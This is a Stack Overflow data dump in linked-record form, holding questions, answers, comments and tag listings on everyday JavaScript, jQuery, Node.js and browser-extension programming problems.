has body: Is there a way to trigger a custom event in javascript, so that it will propagate using the capture model? I have a hierarchy of elements that I use as a mean to communicate between objects. Each level of the hierarchy represents a sub-family of object. Ideally, I could trigger an event to each family's or sub-family's objects using their common ancestor. eg: animals |_ | mammals | |_cats | |_dogs |_ reptiles |_alligators |_dinosaurs (please no comments on my inadequate taxonomy :) ) I would like to be able to trigger an event for all animals, all mammals or all cats, or event to a single cat instance. However, I can only find examples of custom events using the bubbling phase, so I want to know if it's me missing something or is this really impossible. I know I can use event delegation on the root element for all instance, but it will scale really badly (this system needs to handle thousands of events of all types). Any ideas?
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/38843811
has comment: http://stackoverflow.com/comment/61929132
type: Question
tagged with: custom-events
answer count: 2

http://stackoverflow.com/comment/39956277
type: AnswerComment
score: 0
type: Comment
has text: I see. Because in settimeout, previousButtonHtml is undefined. So We should pass it into setimeout. I've edited my answer.
comment on: http://stackoverflow.com/a/25582059

http://stackoverflow.com/a/25568649
has comment: http://stackoverflow.com/comment/39933682
accepted answer of: http://stackoverflow.com/q/25566551
downvote count: 0
answers question: http://stackoverflow.com/q/25566551
has comment: http://stackoverflow.com/comment/39930735
type: AcceptedAnswer
type: Answer
upvote count: 1
has body: Isn't displayfield the field you are looking for?
score: 1

http://stackoverflow.com/comment/40169192
score: 0
comment on: http://stackoverflow.com/a/25699111
type: Comment
has text: i didn't tried it. i just gave a concept that you have to define a condition when scrollheight is smaller than offsetheight . because you only defined it when it is greater so code works only when its greater and stops you when its not greater
type: AnswerComment

modal-dialog
tag name: modal-dialog
tags question: http://stackoverflow.com/q/25588301
type: Tag
tags question: http://stackoverflow.com/q/25670064
tags question: http://stackoverflow.com/q/25664325
tags question: http://stackoverflow.com/q/25669514
tags question: http://stackoverflow.com/q/25666167
tags question: http://stackoverflow.com/q/25691577
tags question: http://stackoverflow.com/q/25551155
tags question: http://stackoverflow.com/q/25709418

http://stackoverflow.com/comment/40061121
has text: Thanks a lot Abdul. I sorted out that problem. Extending this same problem, if I have a table with variable no of columns where the table's id is used to uniquely identify the table. How that can be done? Any clue?
type: Comment
comment on: http://stackoverflow.com/a/25637631
type: AnswerComment
score: 0

http://stackoverflow.com/q/25590535
answer count: 1
downvote count: 1
has body: I've a problem with the same bg js as the last question; this is the js : ChangeIt(); function ChangeIt() { var totalCount = 12; var num = Math.ceil( Math.random() * totalCount ); document.body.background ='http://adventureofucm.com/OtherSites/image_background/'+num+'.jpg'; } Cause I know a very little few thing of js I'm asking you if you could give a look at the js and help me find a solution to doesn't display the same bg 2 times in a row, that's all. Hope you answer me soon or just comment if you need more details or other things. EDIT : after googling for a solutions with the local storage I found a few interesting things but I still don't have the knowledge to edit the js, anyone who can help me just a couple of mins ?
favorite count: 0
type: AnsweredQuestion
tagged with: math
tagged with: probability
tagged with: background
type: Question
has comment: http://stackoverflow.com/comment/39971354
has title: how to don't have the same bg 2 times in a row in this random background js
tagged with: javascript
has answer: http://stackoverflow.com/a/25590772
accepted answer: http://stackoverflow.com/a/25590772
score: 0
has comment: http://stackoverflow.com/comment/39971378
tagged with: random
upvote count: 1

http://stackoverflow.com/comment/39958298
score: 0
comment on: http://stackoverflow.com/a/25583333
type: Comment
has text: Mritunjay is correct. The .click() function is merely an alias for .on('click', ...). Shorthand basically, but it's perfectly valid.
type: AnswerComment

http://stackoverflow.com/a/25700260
has body: The class attribute represents a set of space separated tokens, where leading and trailing whitespace, and any number of intermediate whitespace characters, is allowed. There was a time when some browsers retained whitespace in the attribute exactly as it was assigned, and some didn't. It was also common for any leading or trailing whitespace in the class attribute value to be removed, and intermediate whitespace to be kept to a single character, regardless of the actual value set. However, testing in current Safari, Chrome, Camino and Firefox shows that trailing whitespace is retained when using ...getAttribute('class'), however I would not depend on that.
downvote count: 0
answers question: http://stackoverflow.com/q/25700050
upvote count: 2
type: Answer
score: 2

http://stackoverflow.com/q/25711565
score: 0
tagged with: http://stackoverflow.com/tag/json
has answer: http://stackoverflow.com/a/25711790
answer count: 1
has comment: http://stackoverflow.com/comment/40192024
has comment: http://stackoverflow.com/comment/40191930
tagged with: function
tagged with: javascript
has comment: http://stackoverflow.com/comment/40192137
tagged with: scope
type: AnsweredQuestion
has title: Function scope is lost in returned methods when strigifying/parsing js objects with JSON
accepted answer: http://stackoverflow.com/a/25711790
has body: I have such a bit crazy example, but it looks like a good exercise for those who are experts in javascript function scopes: (function (global) { // our module number one var body = function () { var someVar = 'some test text'; return { method: function () { return someVar; // this will undefined when call this method in second module } }; }; var f = new Function([' return (', body, ')();'].join('')); global.r = f(); })(window); (function (global) { // our module two var body = function () { // dep variable is injected on the fly with `new Function` dep.method(); // will throw `Reference Error: someVar is not defined` }; // helper to propertly transform functions in JSON.stringify function transformFuncs (key, val) { if (typeof val === 'function') { return val.toString().replace(/(\t|\n|\r)/gm, '').replace(/("|')/gm, '\\"'); } return val; } // injecting our first module inside var vars = ['var ', 'dep', ' = JSON.parse(\'', JSON.stringify(global.r, transformFuncs), '\', function (key, value) { if (value &amp;&amp; typeof value === "string" &amp;&amp; value.substr(0,8) == "function") { var startBody = value.indexOf("{") + 1; var endBody = value.lastIndexOf("}"); var startArgs = value.indexOf("(") + 1; var endArgs = value.indexOf(")"); return new Function(value.substring(startArgs, endArgs), value.substring(startBody, endBody)); } return value; });'].join(''); // as variable var f2 = new Function([vars, ' return (', body, ')();'].join('')); global.r2 = f2(); })(window); If you'll run this code somewhere you'll see an exception thrown ReferenceError: someVar is not defined. So basically what's happening here - we create some module and then trying to inject it inside another one as variable. Function that is used in JSON.parse to correctly get stringified functions looks like this (if you're curious): function (key, value) { if (value &amp;&amp; typeof value === "string" &amp;&amp; value.substr(0,8) == "function") { var startBody = value.indexOf("{") + 1; var endBody = v…
type: Question
has comment: http://stackoverflow.com/comment/40192184

http://stackoverflow.com/q/25585177
tagged with: http://stackoverflow.com/tag/html
has body: What I wanna do is basic. I just want to retrieve the real path of a file instead of fakepath. Here's the explanation: In &lt;input type="file"&gt;, For security reasons, browsers do not reveal real path of any selected file. They return a fakepath. But in chrome extensions, we can access file:// system with a permission. Now I have declared that permission in manifest.json I just want to know if there is a way to convert fakepath to real path. I know I can use FileReader API to get file data but it cannot be used in my case.
answer count: 0
upvote count: 3
type: UnansweredQuestion
tagged with: google-chrome
has comment: http://stackoverflow.com/comment/39976957
score: 3
has comment: http://stackoverflow.com/comment/39980519
has comment: http://stackoverflow.com/comment/39976905
type: Question
has title: Get real path of selected file in chrome extension
has comment: http://stackoverflow.com/comment/39961641
downvote count: 0
tagged with: javascript
favorite count: 0
has comment: http://stackoverflow.com/comment/39962506
tagged with: google-chrome-extension

http://stackoverflow.com/comment/40147708
score: 0
type: Comment
has text: That worked perfectly! Why does the dollar sign trip it up though? [From what I can tell](http://stackoverflow.com/questions/5921699/what-is-the-need-for-caret-and-dollar-symbol-in-regular-expression-in-js) it's supposed to signify the end of the string -- is it because I may have more input in the URL after the parameter I'm looking for?
type: AnswerComment
comment on: http://stackoverflow.com/a/25687644

http://stackoverflow.com/q/25658940
answer count: 1
has comment: http://stackoverflow.com/comment/40096186
favorite count: 0
upvote count: 3
type: UnansweredQuestion
downvote count: 1
tagged with: http
score: 2
has comment: http://stackoverflow.com/comment/40096264
has title: Access-Control-Allow-Origin header is not present on the requested resource
has comment: http://stackoverflow.com/comment/40096883
has answer: http://stackoverflow.com/a/25659467
type: Question
tagged with: javascript
tagged with: jquery
has body: DISCLAIMER: This question is a question about question. So that makes this question a meta question. It does not have any connection to the previously asked questions. If you find any resemblance, lemme tell you one thing- it's purely coincidental. I want to make an AJAX request from my web page. I have been trying to do this, but none of the methods worked perfectly. The only post that I found something close to reality is this. I tried various other methods from SO &amp; other similar sites, but all of those posts said only one thing to me. "No 'Access-Control-Allow-Origin' header is present on the requested resource." I know now you are gonna mark this question as duplicate since there are loads of questions similar to this. Now..Lemme tell ya' one thing. I tried every piece of sh*t I found in SO, but none of 'em gave me the result that I was looking for. It's not because they all are wrong. It because I ain't got no knowlegde on how to use 'em. Then finally...I settled on the link I provided above. It's easy..but I need to know certain things about the code.This is the first time I am hearing the beautifully sodding acronym- CORS. So, if anyone can help me understand the questions I raise, Up votes for all of ya'. I wanna resolve this son-of-a-b*tch question before I celebrate my birthday for the third time this year. I will tell ya' what all I have-in form of resources &amp; questions. 1) A rotten server located at Elizabeth town. 2) I need to access it. 3) I am planning to make a HTTP GET request. 4) I have a url. (eg. http://whereismyweed.com) 5) I store it into a JavaScript variable. var stoner='http://whereismyweed.com' 6) I have a HTML div tag in my webpage. (&lt;div id="myprecious"&gt;&lt;/div&gt;) 7) I wanna display the response I get from the server inside of 'myprecious' div. 8) And last but not the least... my AJAX function. (Courtesy: some website I visited) $.ajax({ url: stoner, data: myData, type: 'GET', crossDomain: true, // enable this dataType: …
tagged with: ajax
tagged with: get

http://stackoverflow.com/comment/82684006
type: AnswerComment
type: Comment
has text: This answer is exactly what I was looking for. Was wasting my time when only a string was being logged in my `console.log()` statements, yet I knew I had child objects. Thanks!
comment on: http://stackoverflow.com/a/25588704
score: 0

http://stackoverflow.com/q/25576394
type: UnansweredQuestion
has body: I have a stupid reference problem I declared a namespace variable called MYAPP var MYAPP = MYAPP || function() { this.name = 'My Application'; this.someImportantID = 123; }; And then I wanted to sperate my code in namespaces/functions and so I did MYAPP.prototype.homepage = function() { urls: { linkOne: '/link/to/some/page/', linkTwo: '/link/to/some/page/' }, doSomething: function() { // ajax call $getting = $.get(this.urls.linkOne) // and so on ..... // how can I acces someImportantID ?? } } then i use it like this app = new MYAPP(); app.homepage.doSomething(); but how can I access someImportantID within the function doSomething()
linked to: http://stackoverflow.com/q/16063394
tagged with: namespaces
has answer: http://stackoverflow.com/a/25577432
has answer: http://stackoverflow.com/a/25578161
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/39947572
has title: JavaScript function prototype calling parent from child
tagged with: function
tagged with: javascript
score: -1
tagged with: inheritance
tagged with: prototype
answer count: 2
upvote count: 0
has comment: http://stackoverflow.com/comment/39955036
favorite count: 0

http://stackoverflow.com/a/73927129
answers question: http://stackoverflow.com/q/25595481
score: 0
type: Answer
has body: Have you tried to decrease the speed at which the object moves, but increase the rate at which the canvas redraws the square? Usually I find that my slow or non-smooth movement issues can be fixed simple by increasing the rate at which the canvas redraws, but slowing the speed so it keeps the same speed.

http://stackoverflow.com/comment/40168132
type: QuestionComment
has text: I wouldn't mind if there is a better option, but would appreciate if you could include the code..basically looking for an option requiring minimal code changes
comment on: http://stackoverflow.com/q/25698387
score: 0
type: Comment

http://stackoverflow.com/a/25712538
accepted answer of: http://stackoverflow.com/q/25712410
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25712410
type: AcceptedAnswer
has body: Well the mistake here is really simple - ID is meant to be unique - thus leaving you only one of which on each page. You should use classes instead of IDs for multiple instances like this - change id="list" to class="list" (and also the CSS attached).

http://stackoverflow.com/comment/39980518
comment on: http://stackoverflow.com/q/25595482
has text: Yes, I'd like the plugin to automatically call its `init` method on an element with a particular attribute (`class` or `data-*`, for instance).
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25659431
upvote count: 2
accepted answer: http://stackoverflow.com/a/25659498
type: Question
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40097044
answer count: 2
downvote count: 0
tagged with: javascript
has body: My problem maybe very simple for you, but I spend more time for find a solution. Well, my problem: I am using jquery.ui dialog in my web app. I made a dialog, it must call a function by name before_close before closing dialog. My dialog look like that: jQuery('#edit_user_form').dialog({ 'autoOpen':false, 'title':'Изменить', 'modal':true, 'position':['center',60], 'width':600, 'resizable':false, 'close':before_close }); And it is before_close function: function before_close (text) { $('#edit_user_form .update-dialog-content').html(text); } As you see, before_close have an argument. Can I bind the argument when I create dialog jQuery('#edit_user_form').dialog({ 'autoOpen':false, 'title':'Изменить', 'modal':true, 'position':['center',60], 'width':600, 'resizable':false, 'close': before_close(anytext) // or before_close.apply(anytext) /* above code called before_close when the dialog was created */ }); How can I add the argument for call before_close on closing dialog ? Thanks in advance!
tagged with: jquery
favorite count: 0
has answer: http://stackoverflow.com/a/25659498
has title: Add argument to function without caling that on javascript
possible better answer: http://stackoverflow.com/a/25659539
score: 2
has answer: http://stackoverflow.com/a/25659539

http://stackoverflow.com/q/25697767
possible better answer: http://stackoverflow.com/a/25698795
has answer: http://stackoverflow.com/a/25698795
downvote count: 0
tagged with: google-chrome
accepted answer: http://stackoverflow.com/a/25697816
type: AnsweredQuestion
score: 3
has title: Google Chrome console run a command in every page of a particular website
favorite count: 0
has answer: http://stackoverflow.com/a/25697816
type: Question
answer count: 2
linked to: http://stackoverflow.com/q/9515704
tagged with: javascript
has body: I am visiting a website which I think has a bug. And I have tried running a javascript function (defined by them), after running the function the site works smoothly in that page. After I navigate to a different page, I again have to run the function. So I want it to run automatically after the page loads. I am using google chrome. So, are there any chrome extensions or any built in thing that can do this. Any help will be appreciated. Thanks in advance.
tagged with: console
upvote count: 3
tagged with: google-chrome-extension

http://stackoverflow.com/comment/39993243
has text: Move scripts to the bottom of the page. HTML loads in a linear fashion. And never put scripts above the page, unless you have an specific reason for it.
comment on: http://stackoverflow.com/q/25602495
type: Comment
score: 1
type: QuestionComment

http://stackoverflow.com/a/25558453
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/25557883
upvote count: 1
has body: Keeping your code structure, I created a .animateSteps() function: $(".window").hover( function () { $(".window").animateSteps(280,-280,20); }, function () { $(".window").animateSteps(3080,280,20); } ); $.fn.animateSteps = function(final,step,duration) { if(typeof t != "undefined") clearTimeout(t); var self = $(this); if(parseInt(self.css('background-position-y'))==final) return; self.css('background-position-y', '+='+step+'px'); t=setTimeout(function(){self.animateSteps(final,step,duration);},duration); } It takes 3 parameters: final: the final position in pixels step : the number of pixels to increment at each step duration : the duration between 2 iterations JS Fiddle Demo
type: Answer

http://stackoverflow.com/a/25708885
has comment: http://stackoverflow.com/comment/40187073
has comment: http://stackoverflow.com/comment/40187035
score: 0
has body: You can set a "creation_date" property in your object when you create it, like this: obj = { id: "xxxxxx...", creation_date: new Date() ... } Then you store the object somewhere in your server, and then when the user opens the link with the id of the object you will do something like this to check if the object has been created more than 24hours ago: var now = new Date(); if (now - obj.creation_date &gt; 86400000) { // more than 24h (86400000ms = 24h) // do something }
has comment: http://stackoverflow.com/comment/40187088
has comment: http://stackoverflow.com/comment/40187444
type: Answer
has comment: http://stackoverflow.com/comment/40187051
answers question: http://stackoverflow.com/q/25708722

tabs
type: Tag
tags question: http://stackoverflow.com/q/25646818
tags question: http://stackoverflow.com/q/25657347
tags question: http://stackoverflow.com/q/25556806
tags question: http://stackoverflow.com/q/25665897
tags question: http://stackoverflow.com/q/25699332
tag name: tabs
tags question: http://stackoverflow.com/q/25663805
tags question: http://stackoverflow.com/q/25589493

http://stackoverflow.com/q/25619439
score: 0
tagged with: twitter-bootstrap
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/31138705
has title: Close bootstrap modal automatically when a video inside modal body stops playing
has body: I am using video.js to load a video inside a bootstrap modal. I need a modal to shutdown when a video is completed.
type: Question
answer count: 1
tagged with: javascript

http://stackoverflow.com/a/25679023
answers question: http://stackoverflow.com/q/25678475
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40135593
has body: var obj = { objData: { Name: "", age: "", Department: { DepartmentDetails: { clerk: "xyz", manager: "abc" } }, WorkingDetails: [{ Title: "", workType: "", Appointee: { BasicDetails: { lastName: "", middleName: "", firstName: "" } } }] } } function search(obj, target) { var path = ""; for (var key in obj) { if (obj[key] == target) { path += key + ":" + target; return path; } else { path = search(obj[key], target); if (path) { return key+"."+path; } } } } alert(search(obj.objData, "xyz")) Fiddle http://jsfiddle.net/vikrant47/8fk6h48c/
type: Answer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25678475
score: 1
has comment: http://stackoverflow.com/comment/40136815

http://stackoverflow.com/q/25603947
score: 7
has comment: http://stackoverflow.com/comment/39997626
upvote count: 8
type: Question
has comment: http://stackoverflow.com/comment/39997084
has comment: http://stackoverflow.com/comment/39996369
tagged with: javascript
has answer: http://stackoverflow.com/a/25655951
has title: Why do I get "TypeError: object is not a function" running this example node.js code?
accepted answer: http://stackoverflow.com/a/25655951
answer count: 1
downvote count: 1
has body: Why do I get an error running the code shown below ? (It's used in one of the homework's in the Stanford 'Startup engineering' course on Coursera: https://class.coursera.org/startup-001/quiz/attempt?quiz_id=149) The course ran in june-sept 2013, so there may have been updates to node or csv that have broken the script, perhaps? The homework is not about fixing the script, so this question is not a 'cheat', and the course is not currently running anyway.. So, the environment is: Ubuntu 14.04 (kernel 3-13-0-29-generic), node v0.11.13, npm v1.4.9 And I have npm install'd csv, accounting util and restler in the home directory, and the script is there too. This has me completely stumped.... :-( error message: [ubuntu@ip-xxx-xxx-xxx-xxx:~]$node market-research.js Invoked at command line. Wrote market-research.csv Symbol Name Market Cap Previous Close Price P/E Ratio Shares EPS Earnings /home/ubuntu/market-research.js:47 csv() ^ TypeError: object is not a function at csv2console (/home/ubuntu/market-research.js:47:5) at Request.response2console (/home/ubuntu/market-research.js:65:13) at Request.EventEmitter.emit (events.js:110:17) at Request.mixin._fireSuccess (/home/ubuntu/node_modules/restler/lib/restler.js:226:10) at /home/ubuntu/node_modules/restler/lib/restler.js:158:20 at IncomingMessage.parsers.auto (/home/ubuntu/node_modules/restler/lib/restler.js:394:7) at Request.mixin._encode (/home/ubuntu/node_modules/restler/lib/restler.js:195:29) at /home/ubuntu/node_modules/restler/lib/restler.js:154:16 at Request.mixin._decode (/home/ubuntu/node_modules/restler/lib/restler.js:170:7) at IncomingMessage.&lt;anonymous&gt; (/home/ubuntu/node_modules/restler/lib/restler.js:147:14) [ubuntu@ip-xxx-xxx-xxx-xxx:~]$ code: #!/usr/bin/env node /* Use the Yahoo Finance CSV API to do some basic market research calculations. - Background: http://greenido.wordpress.com/2009/12/22/yahoo-finance-hidden-api/ - Example URL: http://finance.yahoo.com/d/quotes.csv?s=GOOG+FB+AAPL&amp;f=snj1pr s: S…
linked to: http://stackoverflow.com/q/4981891
favorite count: 0
tagged with: http://stackoverflow.com/tag/csv
tagged with: node.js
type: AnsweredQuestion

http://stackoverflow.com/q/25585903
tagged with: browserify
has title: Browserify External Requires with Grunt-Browserify
type: UnansweredQuestion
upvote count: 1
has body: The Browserify docs section on external requires shows how to make a module within a bundle available to the global environment: browserify -r through -r duplexer -r ./my-file.js:my-module &gt; bundle.js But I'm having trouble configuring this to work with Grunt-Browserify. The -r flag seems to correspond to the require option in Grunt-Browserify, but the docs description for this option doesn't make any mention of external requires or exporting a require() function. In my Gruntfile, I've tried setting the require option to the module I need to expose (which is already in the bundle, by the way): options: { require: ['./dev/js/foomod.js'], } And then in my page script, I try to require() the module as shown in the docs: &lt;script&gt; var Foomod = require('./foomod.js'); Foomod.init({foo: 'bar'}); &lt;/script&gt; But that logs the error require is not defined. My goal is to call the module's init() method as shown so that I can pass in runtime data without putting it in a window global.
type: Question
tagged with: gruntjs
has answer: http://stackoverflow.com/a/25735638
tagged with: commonjs
answer count: 1
downvote count: 0
tagged with: javascript
score: 1
favorite count: 0

http://stackoverflow.com/comment/40136278
has text: @NarekMamikonyan, okay I will very soon.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25681296
type: Comment

http://stackoverflow.com/comment/39957678
type: QuestionComment
type: Comment
has text: You are still *trying* on that issue, you only set one `if` statement, your code is not clean, cache your elements, use `var` while introducing new variables... Too many things to point out in one single answer, and probably more sub-questions to come.
comment on: http://stackoverflow.com/q/25582940
score: 0

http://stackoverflow.com/q/25569160
has comment: http://stackoverflow.com/comment/39939041
upvote count: 1
tagged with: php
has comment: http://stackoverflow.com/comment/39931724
has comment: http://stackoverflow.com/comment/39938933
has comment: http://stackoverflow.com/comment/39932205
tagged with: codeigniter
has title: CodeIgniter - Form Validation on AJAX data(of multidimensional associative array) sent after stringification
has body: This is a quick demo of javascript portion: var student = {}; student['name'] = 'ABC'; student['dob'] = '1-1-2015'; student['address'] = {}; student['address']['home'] = 'somewhere on earth'; student['address']['office'] = 'near mars'; student['contactnum'] = {}; student['contactnum']['home'] = {}; student['contactnum']['home']['mob'] = '12345'; student['contactnum']['home']['phone'] = '987'; student['contactnum']['office'] = {}; student['contactnum']['office']['mob'] = '12345'; student['contactnum']['office']['phone'] = '987'; $.ajax({ type: "POST", url: "&lt;?php echo base_url('admin/ajax/addStudent');?&gt;", data: {'d': JSON.stringify( student ) }, contentType: 'application/json' }) As you can see am sending this associative array object to the CodeIgniter page via AJAX. But the question is, how to use the FormValidation helper at the server side! To my belief, the validation helper only checks for single field names. Since all the validations needed for me is in that helper, I don't want to reinvent the wheel, but want to know how to write validation config for this data at CodeIgniter page!
has comment: http://stackoverflow.com/comment/41473042
answer count: 0
downvote count: 0
tagged with: javascript
tagged with: jquery
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39940537
has comment: http://stackoverflow.com/comment/39940805
tagged with: ajax
type: Question
has comment: http://stackoverflow.com/comment/39931996
score: 1
favorite count: 0

http://stackoverflow.com/comment/40002869
score: 2
has text: That sounds like a site that was explicitly designed to prevent cross-domain posting.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25607748

http://stackoverflow.com/comment/40039625
comment on: http://stackoverflow.com/q/25627722
type: Comment
has text: If there are no other links on the page, then document.links will contain them all
type: QuestionComment
score: 0

http://stackoverflow.com/comment/39904746
type: AnswerComment
score: 2
type: Comment
has text: I think you have an off by 1 error on your `if(++i...` When `++i` equals `tree.length` then `tree[i]` will be undefined in the calls to `recursion`. You also define a parameter `x` but never pass it. Is that meant to be whatever bit of information is pulled from `data` in the loop?
comment on: http://stackoverflow.com/a/25554030

http://stackoverflow.com/comment/60019177
type: Comment
has text: If an element starts in view, and you scroll down, then back up to it, it will never trigger again.
score: 3
type: AnswerComment
comment on: http://stackoverflow.com/a/26716494

http://stackoverflow.com/q/25627269
score: 1
has title: Laravel - Tokenmissmatchexception with Dropzone.js
favorite count: 0
tagged with: dropzone.js
has comment: http://stackoverflow.com/comment/40038878
has comment: http://stackoverflow.com/comment/40038812
type: UnansweredQuestion
tagged with: laravel
upvote count: 1
type: Question
has body: I'm using dropzone.js for uploading images to my site, but Laravel always reports TokenMismatchException although I'm using Form::open() in form, which automatically adds _token. This is my code: {{ Form::open(["class" =&gt; "dropzone", "id" =&gt; "imgUpload", "action" =&gt; "UploadsController@uploadImage"]) }} &lt;div class="fallback"&gt; {{ Form::submit() }} &lt;/div&gt; {{ Form::close() }} js Dropzone.options.imgUpload = { paramName: "file", dictDefaultMessage: "Pošalji sliku", acceptedFiles: "image/*", previewsContainer: ".dropzone-previews", uploadprogress: function(progress, bytesSent){ console.log(progress); } }; How to solve this?
tagged with: javascript
has answer: http://stackoverflow.com/a/25627572
tagged with: laravel-4
answer count: 1
downvote count: 0

http://stackoverflow.com/a/25653559
score: 2
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40105634
upvote count: 2
type: Answer
has comment: http://stackoverflow.com/comment/40090776
has body: I just took another look at your code – you're adding underscores when none are needed, for example page_callback should be page callback. See: https://api.drupal.org/api/drupal/modules%21system%21system.api.php/function/hook_menu/7.
answers question: http://stackoverflow.com/q/25652001
accepted answer of: http://stackoverflow.com/q/25652001
has comment: http://stackoverflow.com/comment/40233750
has comment: http://stackoverflow.com/comment/40089512

http://stackoverflow.com/a/25671625
type: Answer
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/25671454
downvote count: 0
has body: There are a couple problems document.getElementbyId("graph") should be document.getElementById("graph") .appendChild("data") should be .appendChild(bargraph) This JS works: var graph = document.createElement('div'); graph.id = "graph"; document.body.appendChild(graph); var barWrapper = document.createElement('div'); barWrapper.id = "data"; document.getElementById("graph").appendChild(barWrapper); Fiddle here: http://jsfiddle.net/hatvjete/

http://stackoverflow.com/comment/40023512
score: 0
comment on: http://stackoverflow.com/a/25612194
type: Comment
type: AnswerComment
has text: @paa can u please give a detailed explanation or and example .. Ur thought looks like a solution to my problem

http://stackoverflow.com/q/25552253
favorite count: 0
type: UnansweredQuestion
tagged with: google-chrome
has body: I am using sidr as side menu for my website. But when I open it in chrome browser at my phone. It opens when I click the button. But doesn't close when I click the button again. If I use the dolphin browser, it just works fine. I've created a Fiddle.. This is my code which opens and closes the menu perfectly, doesn't seem to work here. Fiddle JS: $('#responsive-menu-button').sidr({ name: 'sidr', source: '#menu', side: 'left' }); CSS: #mobile-header { display: block; position: absolute; top: 15px; right: 0; } #mobile-header #responsive-menu-button { height: 41px; width: 42px; display:block; } #menu { display: none; } HTML: THE MENU First Second third fourth Also my viewport:
has title: sidr menu close not working in chrome mobile
downvote count: 0
score: 1
type: Question
tagged with: sidr
tagged with: mobile
answer count: 1
tagged with: javascript
upvote count: 1
has answer: http://stackoverflow.com/a/29707748
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/q/25622000
has answer: http://stackoverflow.com/a/25622041
type: Question
has body: I want to create a function that deletes a textarea after user copy value of this textarea into clipboard: $("textarea").bind('copy', function() { this.remove(); }); The problem is - when I press CTRL+C script deletes textarea before it allows copy value to clipboard. How to copy value to clipboard and then delete textarea?
tagged with: javascript
tagged with: jquery
score: 0
has comment: http://stackoverflow.com/comment/40028619
answer count: 1
has comment: http://stackoverflow.com/comment/40028616
has title: How to copy value of textarea into clipboard and remove textarea in the same time?
accepted answer: http://stackoverflow.com/a/25622041
type: AnsweredQuestion

http://stackoverflow.com/q/25564719
score: 5
linked to: http://stackoverflow.com/q/17239083
tagged with: node.js
tagged with: npm
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39924533
has answer: http://stackoverflow.com/a/25606172
upvote count: 5
has comment: http://stackoverflow.com/comment/39938697
tagged with: gruntjs
type: Question
has comment: http://stackoverflow.com/comment/39926040
has body: I would like to deploy a nodejs project with frequent updates. npm is not available at the site so I must package the node_modules. This works ok but takes a long time to send to the customer over the available ftp connection (80MB of mostly node_module files every time). My workflow looks like this: git clone project npm install # installs all my dev tools which I need for packaging grunt build tar xvzf build.tar.gz build/ The build step minfifies my code packaging only what is needed. The node_modules folder is copied into the build folder. If I use npm install --production, I get a smaller footprint but miss the tools I need to build it in the first place. So in the end I go to some effort to make my code footprint small but all my work is undone by having to package such a large node_modules tree. Is my approach wrong? Is there a simpler way to deploy where npm is not available on the production server or is there a good way to reduce the size of the node_modules folder?
answer count: 1
downvote count: 0
tagged with: javascript
favorite count: 0
has title: Deploying node.js project without npm on client side

http://stackoverflow.com/q/25571164
answer count: 1
has answer: http://stackoverflow.com/a/25573300
tagged with: backbone.js
type: UnansweredQuestion
has body: I'm having trouble getting Backbone.Validation to handle complex object validation. per the documentation: Validating complex objects is also supported. To configure validation rules for objects, use dot notation in the name of the attribute, e.g 'address.street'. I took the example fiddle and added a complex object but I can't get it to work. var SignUpModel = Backbone.Model.extend({ defaults: { terms: false, gender: '', }, validation: { username: { required: true }, email: { required: true, pattern: 'email' }, // complex object 'address.zip': { required: true }, It looks like the dot notation in the name on the input element because I'm getting this error: Uncaught Error: Syntax error, unrecognized expression: [name=address.zip] Have a look at the fiddle here.
linked to: http://stackoverflow.com/q/925994
type: Question
has title: Backbone Validation with complex objects
tagged with: javascript
tagged with: backbone.validation.js
score: 0
tagged with: validation

http://stackoverflow.com/a/25650044
has comment: http://stackoverflow.com/comment/40079680
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40080456
upvote count: 2
has body: jsFiddle (yep, even better without jQuery, thanks @Rajacsp) var array1 = [2, 7, 12, 23, 40, 44, 67, 88, 102] var array2 = [3, 12, 14, 17, 23, 40, 41, 67, 108] var array3 = [8, 12, 23, 40, 59, 86, 119, 130] var flatArray = array1.concat(array2).concat(array3); flatArray.sort(function sortNumber(a, b) { return b - a; }); var maxArray = flatArray.slice(0, 5); alert(maxArray); // 130,119,108,102,88
type: Answer
answers question: http://stackoverflow.com/q/25649881
score: 2
accepted answer of: http://stackoverflow.com/q/25649881
has comment: http://stackoverflow.com/comment/40080536
has comment: http://stackoverflow.com/comment/40080029
has comment: http://stackoverflow.com/comment/40081050

http://stackoverflow.com/a/25625484
has comment: http://stackoverflow.com/comment/40037374
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25625290
type: Answer
upvote count: 3
score: 3
accepted answer of: http://stackoverflow.com/q/25625290
has body: Wow, I'm actually surprised that this code works! Let me just say that I wouldn't recommend using it and would expect this sort of a[i++] trickery to show up in ancient C, not in Javascript :) As for why it works, it has to do with the syntax of the language. The syntax for a for Loop is: for ( LeftHandSideExpression in Expression ) Statement A LeftHandSideExpression is anything that you can assign to with the = operator. In a for loop, usually we just use a variable identifier as in for(k in o) but since arr[i] is also a valid LHS expression (you can do arr[i] =) we are also allowed to write for(arr[i] in o). In the end, your loop does something similar to var a=[], i=0; a[i++] = "x"; a[i++] = "y"; a[i++] = "z"; // in the end, a should be ["x", "y", "z"] // and i should be 3

http://stackoverflow.com/comment/40160499
has text: @Allendar Without doubt you're right, but how is that evil related to the question? Or was it wiped out within the grace period?
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25694237

http://stackoverflow.com/a/25741210
has body: Use KendoWindow will solve your problem. Example : $('#dialog').kendoWindow({ title: 'Add Patient', height: 'auto', width: '95%', position: ['top', 70], draggable: false, show: 'blind', hide: 'blind', modal: true, resizable: false, open: function (event, ui) { var url='@Url.Action("AddPatient", "PatientManagement")'; $(this).load(url); }, close: function (event, ui) { $(this).html(''); } });
type: Answer
score: 11
accepted answer of: http://stackoverflow.com/q/25579752
downvote count: 0
answers question: http://stackoverflow.com/q/25579752
